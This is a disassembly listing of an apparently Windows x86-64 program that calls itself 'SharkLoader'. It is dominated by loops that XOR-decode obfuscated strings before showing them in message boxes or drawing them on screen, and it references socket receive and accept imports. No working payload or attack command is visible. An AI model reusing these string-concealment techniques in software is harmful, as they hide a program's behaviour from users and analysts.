movups xmmword [rbp + 0x550], xmm0
mov eax, dword [0x140115be8]
mov dword [rbp + 0x560], eax
movzx eax, word [0x140115bec]
mov word [rbp + 0x564], ax
cmp byte [0x140115bed], 0
je 0x140046f7f
cmp r15d, 2
jl 0x140046f3d
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x554]
mov edx, dword [rsp + 0x50]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x140046e33
cmp eax, 0x16
jge 0x140046f7f
movsxd rax, esi
lea r8, [rbp + 0x550]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x38
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x16
jl 0x140046f50
xor r9d, r9d
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x550]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14004aebf
movsd xmm0, qword [str.kQ_IWxFZ46_6E]
movsd qword [rbp + 0x230], xmm0
mov eax, dword [0x140115330]
mov dword [rbp + 0x238], eax
movzx eax, word [0x140115334]
mov word [rbp + 0x23c], ax
cmp byte [0x140115335], 0
je 0x140047133
mov r8d, esi
cmp r15d, 2
jl 0x1400470f1
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.kQ_IWxFZ46_6E]
xorps xmm2, xmm0
movd dword [rbp + 0x230], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x234]
xorps xmm2, xmm1
movd dword [rbp + 0x234], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x230]
add r9, rax
nop
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140047100
mov eax, dword [0x140115e68]
movups xmm0, xmmword [0x140115e50]
mov dword [rbp + 0x348], eax
movups xmmword [rbp + 0x330], xmm0
movzx eax, byte [0x140115e6c]
movsd xmm0, qword [0x140115e60]
mov byte [rbp + 0x34c], al
movsd qword [rbp + 0x340], xmm0
cmp r15d, 2
jl 0x1400472ba
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x334]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x18
jl 0x1400471b0
cmp eax, 0x1d
jge 0x1400472ff
movsxd rax, esi
lea r8, [rbp + 0x330]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x38
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x1d
jl 0x1400472d0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x230]
lea rdx, [rbp + 0x330]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14004aec4
movsd xmm0, qword [str.kQ_IWxFZ46_6E]
movsd qword [rbp + 0x240], xmm0
mov eax, dword [0x140115330]
mov dword [rbp + 0x248], eax
movzx eax, word [0x140115334]
mov word [rbp + 0x24c], ax
cmp byte [0x140115335], 0
je 0x1400474c3
mov r8d, esi
cmp r15d, 2
jl 0x140047474
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.kQ_IWxFZ46_6E]
xorps xmm2, xmm0
movd dword [rbp + 0x240], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x244]
xorps xmm2, xmm1
movd dword [rbp + 0x244], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x240]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140047490
mov eax, dword [0x140115ed8]
mov dword [rbp + 0x2a8], eax
movzx eax, byte [0x140115edc]
movups xmm0, xmmword [str.KHTN]
mov byte [rbp + 0x2ac], al
movups xmmword [rbp + 0x298], xmm0
cmp r15d, 2
jl 0x14004763a
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x29c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x140047530
cmp eax, 0x15
jge 0x14004767f
movsxd rax, esi
lea r8, [rbp + 0x298]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x38
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x15
jl 0x140047650
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x240]
lea rdx, [rbp + 0x298]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14004aec4
mov r8d, dword [0x140129148]
lea rdx, reloc.WS2_32.dll_accept
mov rcx, qword [str.SharkLoader]
call fcn.14000e590
mov rbx, qword [0x14016c730]
mov rax, qword [rbx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rbx + 0x4000]
mov rdi, qword [rax + 0x2a8]
movss xmm15, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
movss dword [rbp + 0xf8], xmm0
movss xmm9, dword [rax + 0x30]
movss xmm12, dword [rax + 0x34]
mov eax, dword [str.kqiw]
mov dword [rbp + 0x10], eax
movzx eax, word [0x140115180]
mov word [rbp + 0x14], ax
mov byte [rbp + 0x10], 0x53
xor byte [rbp + 0x11], 0x39
xor byte [rbp + 0x12], 0x3a
xor byte [rbp + 0x13], 0x3b
xor al, 0x3c
mov byte [rbp + 0x14], al
xor byte [rbp + 0x15], 0x3d
mov qword [rsp + 0x30], rsi
lea rax, [rbp + 0x10]
mov qword [rsp + 0x28], rax
movss xmm8, dword [0x140116094]
movss dword [rsp + 0x20], xmm8
movss xmm13, dword [0x140116084]
movaps xmm3, xmm13
movss xmm11, dword [0x140116000]
movaps xmm2, xmm11
lea rdx, [rsp + 0x60]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002cb20
movss xmm0, dword [rsp + 0x60]
movss xmm14, dword [0x140115f94]
addss xmm0, xmm14
cvttss2si eax, xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x110], xmm0
movsd xmm0, qword [0x140115270]
movsd qword [rbp + 0xc0], xmm0
movzx eax, byte [0x140115278]
mov byte [rbp + 0xc0], 0x45
xor byte [rbp + 0xc1], 0x39
xor byte [rbp + 0xc2], 0x3a
xor byte [rbp + 0xc3], 0x3b
xor byte [rbp + 0xc4], 0x3c
xor byte [rbp + 0xc5], 0x3d
xor byte [rbp + 0xc6], 0x3e
xor byte [rbp + 0xc7], 0x3f
xor al, 0x40
mov byte [rbp + 0xc8], al
mov qword [rsp + 0x30], rsi
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm8
movaps xmm3, xmm13
movaps xmm2, xmm11
lea rdx, [rsp + 0x60]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002cb20
movss xmm0, dword [rsp + 0x60]
addss xmm0, xmm14
cvttss2si eax, xmm0
movd xmm10, eax
cvtdq2ps xmm10, xmm10
movups xmm1, xmmword [0x140115160]
movups xmmword [rbp + 0x5d8], xmm1
movsd xmm0, qword [0x140115170]
movsd qword [rbp + 0x5e8], xmm0
movzx eax, word [0x140115178]
mov word [rbp + 0x5f0], ax
cmp byte [0x140115179], 0
je 0x140047a03
mov r8d, esi
cmp r15d, 2
jl 0x1400479bd
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x5dc]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400478b0
cmp r8d, 0x1a
jge 0x140047a03
movsxd rax, r8d
lea r9, [rbp + 0x5d8]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400479d0
mov rbx, qword [0x14016c730]
mov qword [rsp + 0x30], rsi
lea rax, [rbp + 0x5d8]
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm8
movaps xmm3, xmm13
movss xmm2, dword [0x140115fe8]
lea rdx, [rsp + 0x60]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002cb20
movss xmm0, dword [rsp + 0x60]
addss xmm0, xmm14
cvttss2si eax, xmm0
movd xmm7, eax
cvtdq2ps xmm7, xmm7
movsd xmm0, qword [str.j_ROI_M_]
movsd qword [rbp + 0xb0], xmm0
movzx eax, byte [0x140115a78]
mov byte [rbp + 0xb0], 0x52
xor byte [rbp + 0xb1], 0x39
xor byte [rbp + 0xb2], 0x3a
xor byte [rbp + 0xb3], 0x3b
xor byte [rbp + 0xb4], 0x3c
xor byte [rbp + 0xb5], 0x3d
xor byte [rbp + 0xb6], 0x3e
xor byte [rbp + 0xb7], 0x3f
xor al, 0x40
mov byte [rbp + 0xb8], al
mov qword [rsp + 0x30], rsi
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm8
movaps xmm3, xmm13
movss xmm2, dword [0x140115ff0]
lea rdx, [rsp + 0x60]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002cb20
movss xmm0, dword [rsp + 0x60]
addss xmm0, xmm14
cvttss2si eax, xmm0
movd xmm2, eax
cvtdq2ps xmm2, xmm2
movaps xmm1, xmm10
addss xmm1, dword [rbp + 0x110]
movaps xmm8, xmm9
movss xmm13, dword [0x140115f64]
mulss xmm8, xmm13
addss xmm8, xmm15
mulss xmm1, xmm13
movaps xmm6, xmm8
subss xmm6, xmm1
addss xmm10, xmm6
subss xmm10, dword [0x140116010]
mulss xmm2, xmm13
movaps xmm14, xmm8
subss xmm14, xmm2
mulss xmm7, xmm13
subss xmm8, xmm7
mov eax, dword [str.kqiw]
mov dword [rsp + 0x68], eax
movzx eax, word [0x140115180]
mov word [rsp + 0x6c], ax
mov byte [rsp + 0x68], 0x53
xor byte [rsp + 0x69], 0x39
xor byte [rsp + 0x6a], 0x3a
xor byte [rsp + 0x6b], 0x3b
xor al, 0x3c
mov byte [rsp + 0x6c], al
xor byte [rsp + 0x6d], 0x3d
movaps xmm0, xmmword [0x1401162b0]
movups xmmword [rbp + 0xa48], xmm0
lea rcx, [rbp + 0xa48]
call fcn.1400047d0
mov r8d, eax
movss xmm15, dword [rbp + 0xf8]
movaps xmm7, xmm15
addss xmm7, dword [0x140116008]
movss dword [rbp + 0x378], xmm6
movss dword [rbp + 0x37c], xmm7
mov r10, qword [0x14016ca40]
test eax, 0xff000000
je 0x140047c5d
lea rcx, [rsp + 0x68]
mov rax, r14
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140047be0
lea rcx, [rsp + 0x68]
add rcx, rax
lea rax, [rsp + 0x68]
cmp rax, rcx
je 0x140047c5d
test r10, r10
jne 0x140047c08
mov rax, qword [rdi + 0x38]
mov r10, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x48], 0
xorps xmm0, xmm0
movss dword [rsp + 0x40], xmm0
mov qword [rsp + 0x38], rcx
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
lea r9, [rbp + 0x378]
movaps xmm2, xmm11
mov rdx, rdi
mov rcx, r10
call fcn.14002cd40
mov r10, qword [0x14016ca40]
movsd xmm0, qword [0x140115270]
movzx eax, byte [0x140115278]
movsd qword [rbp - 0x60], xmm0
mov byte [rbp - 0x60], 0x45
xor byte [rbp - 0x5f], 0x39
xor byte [rbp - 0x5e], 0x3a
xor byte [rbp - 0x5d], 0x3b
xor byte [rbp - 0x5c], 0x3c
xor byte [rbp - 0x5b], 0x3d
xor byte [rbp - 0x5a], 0x3e
xor byte [rbp - 0x59], 0x3f
xor al, 0x40
mov byte [rbp - 0x58], al
movaps xmm0, xmmword [0x140116290]
movups xmmword [rbp + 0xa58], xmm0
lea rcx, [rbp + 0xa58]
call fcn.1400047d0
mov r8d, eax
movss dword [rbp + 0x370], xmm10
movss dword [rbp + 0x374], xmm7
test eax, 0xff000000
je 0x140047d52
lea rax, [rbp - 0x60]
mov rcx, r14
inc rcx
cmp byte [rax + rcx], 0
jne 0x140047cd6
lea rdx, [rbp - 0x60]
add rdx, rcx
lea rax, [rbp - 0x60]
cmp rax, rdx
je 0x140047d52
test r10, r10
jne 0x140047cfc
mov rax, qword [rdi + 0x38]
mov r10, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x48], 0
xorps xmm7, xmm7
movss dword [rsp + 0x40], xmm7
mov qword [rsp + 0x38], rdx
lea rax, [rbp - 0x60]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
lea r9, [rbp + 0x370]
movaps xmm2, xmm11
mov rdx, rdi
mov rcx, r10
call fcn.14002cd40
mov r10, qword [0x14016ca40]
jmp 0x140047d55
xorps xmm7, xmm7
movups xmm0, xmmword [0x140115160]
movups xmmword [rbp + 0x438], xmm0
movsd xmm0, qword [0x140115170]
movsd qword [rbp + 0x448], xmm0
movzx eax, word [0x140115178]
mov word [rbp + 0x450], ax
cmp byte [0x140115179], 0
je 0x140047f23
mov r8d, esi
cmp r15d, 2
jl 0x140047edd
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x43c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140047dd0
cmp r8d, 0x1a
jge 0x140047f23
movsxd rax, r8d
lea r9, [rbp + 0x438]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140047ef0
movaps xmm0, xmmword [0x140116250]
movups xmmword [rbp + 0xa68], xmm0
lea rcx, [rbp + 0xa68]
call fcn.1400047d0
mov r8d, eax
movaps xmm0, xmm15
addss xmm0, dword [0x140116018]
movss dword [rbp + 0x368], xmm8
movss dword [rbp + 0x36c], xmm0
test eax, 0xff000000
je 0x140047ff6
lea rax, [rbp + 0x438]
mov rcx, r14
inc rcx
cmp byte [rax + rcx], 0
jne 0x140047f72
lea rdx, [rbp + 0x438]
add rdx, rcx
lea rax, [rbp + 0x438]
cmp rax, rdx
je 0x140047ff6
test r10, r10
jne 0x140047f9e
mov rax, qword [rdi + 0x38]
mov r10, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm7
mov qword [rsp + 0x38], rdx
lea rax, [rbp + 0x438]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
lea r9, [rbp + 0x368]
movss xmm2, dword [0x140115fe8]
mov rdx, rdi
mov rcx, r10
call fcn.14002cd40
mov r10, qword [0x14016ca40]
movsd xmm0, qword [str.j_ROI_M_]
movzx eax, byte [0x140115a78]
movsd qword [rbp - 0x50], xmm0
mov byte [rbp - 0x50], 0x52
xor byte [rbp - 0x4f], 0x39
xor byte [rbp - 0x4e], 0x3a
xor byte [rbp - 0x4d], 0x3b
xor byte [rbp - 0x4c], 0x3c
xor byte [rbp - 0x4b], 0x3d
xor byte [rbp - 0x4a], 0x3e
xor byte [rbp - 0x49], 0x3f
xor al, 0x40
mov byte [rbp - 0x48], al
movaps xmm0, xmmword [0x1401162b0]
movups xmmword [rbp + 0xa78], xmm0
lea rcx, [rbp + 0xa78]
call fcn.1400047d0
mov r8d, eax
movaps xmm0, xmm12
addss xmm0, xmm15
subss xmm0, dword [0x14011605c]
movss dword [rbp + 0x360], xmm14
movss dword [rbp + 0x364], xmm0
test eax, 0xff000000
je 0x1400480f4
lea rcx, [rbp - 0x50]
mov rax, r14
inc rax
cmp byte [rcx + rax], 0
jne 0x140048080
lea rcx, [rbp - 0x50]
add rcx, rax
lea rax, [rbp - 0x50]
cmp rax, rcx
je 0x1400480f4
test r10, r10
jne 0x1400480a6
mov rax, qword [rdi + 0x38]
mov r10, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm7
mov qword [rsp + 0x38], rcx
lea rax, [rbp - 0x50]
mov qword [rsp + 0x30], rax
